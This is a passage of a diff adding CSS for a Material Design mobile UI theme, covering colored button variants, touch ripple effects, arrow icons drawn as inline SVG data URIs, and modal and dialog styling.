.button.color-yellow.button-fill-md, +.md .button.color-yellow.button-active, +.md .button.color-yellow.tab-link-active { + background-color: #ffeb3b; + color: #fff; +} +.md .button.color-yellow.button-fill.active-state, +.md .button.color-yellow.button-fill-md.active-state, +.md .button.color-yellow.button-active.active-state, +.md .button.color-yellow.tab-link-active.active-state { + background: #ffe712; +} +.md .button.color-yellow.button-outline { + border-color: #ffeb3b; +} +.md .button.color-orange { + color: #ff9800; +} +.md .button.color-orange.button-fill, +.md .button.color-orange.button-fill-md, +.md .button.color-orange.button-active, +.md .button.color-orange.tab-link-active { + background-color: #ff9800; + color: #fff; +} +.md .button.color-orange.button-fill.active-state, +.md .button.color-orange.button-fill-md.active-state, +.md .button.color-orange.button-active.active-state, +.md .button.color-orange.tab-link-active.active-state { + background: #d68000; +} +.md .button.color-orange.button-outline { + border-color: #ff9800; +} +.md .button.color-gray { + color: #9e9e9e; +} +.md .button.color-gray.button-fill, +.md .button.color-gray.button-fill-md, +.md .button.color-gray.button-active, +.md .button.color-gray.tab-link-active { + background-color: #9e9e9e; + color: #fff; +} +.md .button.color-gray.button-fill.active-state, +.md .button.color-gray.button-fill-md.active-state, +.md .button.color-gray.button-active.active-state, +.md .button.color-gray.tab-link-active.active-state { + background: #8a8a8a; +} +.md .button.color-gray.button-outline { + border-color: #9e9e9e; +} +.md .button.color-white { + color: #ffffff; +} +.md .button.color-white.button-fill, +.md .button.color-white.button-fill-md, +.md .button.color-white.button-active, +.md .button.color-white.tab-link-active { + background-color: #ffffff; + color: #fff; +} +.md .button.color-white.button-fill.active-state, +.md .button.color-white.button-fill-md.active-state, +.md .button.color-white.button-active.active-state, +.md .button.color-white.tab-link-active.active-state { + background: #ebebeb; +} +.md .button.color-white.button-outline { + border-color: #ffffff; +} +.md .button.color-black { + color: #000000; +} +.md .button.color-black.button-fill, +.md .button.color-black.button-fill-md, +.md .button.color-black.button-active, +.md .button.color-black.tab-link-active { + background-color: #000000; + color: #fff; +} +.md .button.color-black.button-fill.active-state, +.md .button.color-black.button-fill-md.active-state, +.md .button.color-black.button-active.active-state, +.md .button.color-black.tab-link-active.active-state { + background: #000000; +} +.md .button.color-black.button-outline { + border-color: #000000; +} +/* === Touch Ripple === */ +.md .ripple, +.md .fab a, +.md a.link, +.md a.item-link, +.md .button, +.md .dialog-button, +.md .tab-link, +.md .radio, +.md .checkbox, +.md .actions-button, +.md .speed-dial-buttons a { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.md .ripple-wave { + left: 0; + top: 0; + position: absolute !important; + border-radius: 50%; + pointer-events: none; + z-index: -1; + background: rgba(0, 0, 0, 0.1); + padding: 0; + margin: 0; + font-size: 0; + -webkit-transform: translate3d(0px, 0px, 0) scale(0); + transform: translate3d(0px, 0px, 0) scale(0); + -webkit-transition-duration: 1400ms; + transition-duration: 1400ms; +} +.md .ripple-wave.ripple-wave-fill { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + opacity: 0.35; +} +.md .ripple-wave.ripple-wave-out { + -webkit-transition-duration: 600ms; + transition-duration: 600ms; + opacity: 0; +} +.button-fill .md .ripple-wave, +.picker-calendar-day .md .ripple-wave { + z-index: 1; +} +.md .button-fill .ripple-wave, +.md .button-active .ripple-wave, +.md .navbar .ripple-wave, +.md .toolbar .ripple-wave, +.md .subnavbar .ripple-wave, +.md .toast .ripple-wave, +.md .fab a .ripple-wave, +.md .stepper-fill .ripple-wave { + background: rgba(255, 255, 255, 0.3); +} +.md .messagebar .ripple-wave, +.md .searchbar .ripple-wave { + background: rgba(0, 0, 0, 0.1); +} +.md .data-table .sortable-cell .ripple-wave { + z-index: 0; +} +.md .checkbox .ripple-wave, +.md .radio .ripple-wave { + background: rgba(33, 150, 243, 0.5); + z-index: 0; +} +.md .theme-dark .page-content .ripple-wave, +.md .theme-dark .messagebar .ripple-wave, +.md .theme-dark .popover .ripple-wave, +.md .theme-dark .calendar .ripple-wave, +.calendar.md .theme-dark .ripple-wave { + background-color: rgba(255, 255, 255, 0.3); +} +.md .ripple-color-red .ripple-wave, +.md .ripple-red .ripple-wave { + background-color: rgba(244, 67, 54, 0.3); +} +.md .ripple-color-green .ripple-wave, +.md .ripple-green .ripple-wave { + background-color: rgba(76, 175, 80, 0.3); +} +.md .ripple-color-blue .ripple-wave, +.md .ripple-blue .ripple-wave { + background-color: rgba(33, 150, 243, 0.3); +} +.md .ripple-color-pink .ripple-wave, +.md .ripple-pink .ripple-wave { + background-color: rgba(233, 30, 99, 0.3); +} +.md .ripple-color-yellow .ripple-wave, +.md .ripple-yellow .ripple-wave { + background-color: rgba(255, 235, 59, 0.3); +} +.md .ripple-color-orange .ripple-wave, +.md .ripple-orange .ripple-wave { + background-color: rgba(255, 152, 0, 0.3); +} +.md .ripple-color-gray .ripple-wave, +.md .ripple-gray .ripple-wave { + background-color: rgba(158, 158, 158, 0.3); +} +.md .ripple-color-white .ripple-wave, +.md .ripple-white .ripple-wave { + background-color: rgba(255, 255, 255, 0.3); +} +.md .ripple-color-black .ripple-wave, +.md .ripple-black .ripple-wave { + background-color: rgba(0, 0, 0, 0.3); +} +/* === Icon === */ +i.icon { + display: inline-block; + vertical-align: middle; + background-size: 100% auto; + background-position: center; + background-repeat: no-repeat; + font-style: normal; + position: relative; +} +.md .icon-back { + width: 24px; + height: 24px; +} +.md .icon-forward { + width: 24px; + height: 24px; +} +.md .icon-next, +.md .icon-prev { + width: 24px; + height: 24px; +} +.md .item-media .icon { + color: #737373; +} +.md .item-media .material-icons { + font-size: 24px; + width: 24px; + height: 24px; +} +.md .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-red, +.md a.link .color-red .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-red, +.md a.link .color-red .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-red, +.md a.link .color-red .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23f44336'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-red, +.md a.link .color-red .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23f44336'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-green, +.md a.link .color-green .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-green, +.md a.link .color-green .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-green, +.md a.link .color-green .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%234caf50'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-green, +.md a.link .color-green .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%234caf50'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-blue, +.md a.link .color-blue .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-blue, +.md a.link .color-blue .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-blue, +.md a.link .color-blue .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%232196f3'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-blue, +.md a.link .color-blue .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%232196f3'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-pink, +.md a.link .color-pink .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-pink, +.md a.link .color-pink .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-pink, +.md a.link .color-pink .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23e91e63'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-pink, +.md a.link .color-pink .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23e91e63'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-yellow, +.md a.link .color-yellow .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-yellow, +.md a.link .color-yellow .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-yellow, +.md a.link .color-yellow .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffeb3b'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-yellow, +.md a.link .color-yellow .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffeb3b'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-orange, +.md a.link .color-orange .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-orange, +.md a.link .color-orange .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-orange, +.md a.link .color-orange .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ff9800'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-orange, +.md a.link .color-orange .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ff9800'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-gray, +.md a.link .color-gray .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-gray, +.md a.link .color-gray .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-gray, +.md a.link .color-gray .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%239e9e9e'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-gray, +.md a.link .color-gray .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%239e9e9e'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-white, +.md a.link .color-white .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-white, +.md a.link .color-white .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-white, +.md a.link .color-white .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-white, +.md a.link .color-white .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-black, +.md a.link .color-black .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-black, +.md a.link .color-black .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-black, +.md a.link .color-black .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23000000'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-black, +.md a.link .color-black .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23000000'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon.color-red { + color: #f44336; +} +.md .icon.color-green { + color: #4caf50; +} +.md .icon.color-blue { + color: #2196f3; +} +.md .icon.color-pink { + color: #e91e63; +} +.md .icon.color-yellow { + color: #ffeb3b; +} +.md .icon.color-orange { + color: #ff9800; +} +.md .icon.color-gray { + color: #9e9e9e; +} +.md .icon.color-white { + color: #ffffff; +} +.md .icon.color-black { + color: #000000; +} +.custom-modal-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.custom-modal-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.custom-modal-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +/* === Dialog === */ +.dialog-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.dialog-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.dialog-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.dialog { + position: absolute; + z-index: 13500; + left: 50%; + margin-top: 0; + top: 50%; + overflow: hidden; + opacity: 0; + -webkit-transform: translate3d(0, 0, 0) scale(1.185); + transform: translate3d(0, 0, 0) scale(1.185); + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: transform, opacity; + transition-property: transform, opacity, -webkit-transform; + display: none; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.dialog.modal-in { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); +} +.dialog.modal-out { + opacity: 0; + z-index: 13499; +} +.dialog.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.dialog-inner { + position: relative; +} +.dialog-title { + font-weight: 500; +} +.dialog-buttons { + position: relative; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; +} +.dialog-buttons-vertical .dialog-buttons { + display: block; + height: auto !important; +} +.dialog-no-buttons .dialog-buttons { + display: none; +} +.dialog-input-field { + position: relative; +} +.dialog-input-field .item-input-wrap { + margin: 0; + padding: 0; +} +.dialog-input { + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin: 0; + margin-top: 15px; + border-radius: 0; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + width: 100%; + display: block; + font-family: inherit; + -webkit-box-shadow: none; + box-shadow: none; +} +html.with-modal-dialog .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +.md .dialog { + width: 280px; + margin-left: -140px; + border-radius: 4px; + color: #757575; + background: #fff; + font-size: 16px; + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12); + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12); +} +.md .dialog.modal-in { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); +} +.md .dialog.modal-out { + opacity: 0; + z-index: 13499; + -webkit-transform: translate3d(0, 0, 0) scale(0.815); + 